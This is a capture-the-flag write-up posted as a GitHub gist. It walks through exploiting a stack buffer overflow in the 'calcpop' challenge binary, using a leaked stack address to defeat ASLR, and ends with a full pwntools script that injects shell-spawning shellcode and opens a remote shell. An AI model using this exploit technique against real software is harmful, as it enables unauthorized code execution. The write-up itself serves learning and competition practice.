Skip to content

Instantly share code, notes, and snippets.

@ammaraskar
Created November 30, 2015 18:41
Show Gist options
  • Save ammaraskar/81f7519dd5e93328ead4 to your computer and use it in GitHub Desktop.
Save ammaraskar/81f7519dd5e93328ead4 to your computer and use it in GitHub Desktop.

For this challenge we're given a file called calcpop. Running it puts us in an interactive shell, where typing help gives us the following output:

➜  9447  ./calcpop
Welcome to calc.exe
help
Type 'exit' to exit.
Type two numbers and I will calculate their sum

Simple enough, if we disassemble the program we note that everything is handled in a single function, and that typing in exit returns out of it. We can also see that the function allocates 0x90 for the stack frame

Dump of assembler code for function main:
    ...
    0x0804846e <+14>:	sub    $0x90,%esp

Now let's try breaking it. Starting off with 144 characters, I tried upping it until I could cause a segfault. I ran

python -c "print 'A' * 144" > input.txt; echo "exit" >> input.txt

./calcpop < input.txt

and eventually at 156 characters we encounter a segfault. This was later confirmed to me by a teammate who pointed that the main preamble was saving the state of 3 registers on the stack which points to this figure exactly.

To confirm that we were overriding the return instruction I ran python -c "print ('A' * 156) + '\xEF\xBE\xAD\xDE'" > input.txt; echo "exit" >> input.txt

and then ran the program through gdb

➜  9447  gdb calcpop
(gdb) run < input.txt
Starting program: /home/ammar/shared/CTF/9447/calcpop < input.txt
Welcome to calc.exe
Missing a space; your input was 0xffffd540
Exiting...

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

Success. Now it's just a simple matter of beating ASLR. In the output of the program you might note an interesting line. Missing a space; your input was 0xffffd540. Could it be? An address leak built into the program?

Let's run it through gdb and find out:

(gdb) break *0x0804860b
Breakpoint 2 at 0x804860b: file calcpop.c, line 46.
(gdb) run
Starting program: /home/ammar/shared/CTF/9447/calcpop 
Welcome to calc.exe
abcd
Missing a space; your input was 0xffffd540
exit
Exiting...

Breakpoint 2, main () at calcpop.c:46
(gdb) x/s 0xffffd540
0xffffd540:	 "exit"

Looks like it is, our input ended up in the very same buffer. And since this is a local/stack variable, it's address shouldn't change while the function hasn't returned, and the only time it returns is when we use exit.

I wanted to dip my feet into using pwntools, so I wrote up a quick script to automate the leaking and all the steps.

import struct
from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('calcpop-4gh07blg.9447.plumbing', 9447)

# Welcome message
log.info(text.yellow("Receiving welcome message: "))
log.info(text.bold_green(r.recvline()))

r.sendline("hi")

log.info(text.yellow("Grabbing leaked address"))
line = r.recvline().strip()

address = line[-10:]
log.info(text.bold_green("Leaked address: " + address))
address = int(address, 16)

shellcode_address = address + 6

log.info(text.cyan("Sending payload"))

# 6 bytes of padding, this is the part that get's overwritten by
# our 'exit' command
r.send("A" * 6)
# Shellcode
shellcode = asm(shellcraft.sh())
r.send(shellcode)
# Padding
r.send("A" * (156 - len(shellcode) - 6))
# Shellcode address in little endian
r.send(struct.pack("<I", shellcode_address))
r.send("\n")

log.info(text.cyan("Sending exit to execute payload"))
r.sendline("exit")

r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment